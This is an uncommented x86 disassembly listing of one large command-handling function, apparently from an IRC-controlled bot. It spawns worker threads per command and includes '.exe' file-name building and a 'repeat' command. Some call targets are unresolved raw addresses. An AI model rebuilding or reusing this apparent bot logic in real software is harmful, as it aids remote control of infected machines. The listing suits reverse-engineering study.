		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+arg_10]
		call	dword_4CB694
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C669
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_42ABD8
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AB
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42AA64
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42A9F8
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A9BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset word_414A92
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_42A984
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A954
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset byte_4137CD
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42A91C
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset dword_412A54
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42A8B4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42A848
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A81C
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset word_412E9E
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_42A7E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A7AC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26B0D54h
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A788
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A77C
		call	sub_41814D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A74C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset word_416CAE
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42A710


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2670C18h
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6EC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6D0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi
		push	offset aScorservs ; "scorservs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 26B0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A698
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42A65C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset dword_42A614


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	[ebp+var_8C]
		push	offset dword_42D02C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A604
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2680F4Eh


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5F0
		call	sub_4151AD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	[ebp+var_8C]
		push	offset dword_42D02C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A604
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5D8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset unk_42A5A4


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
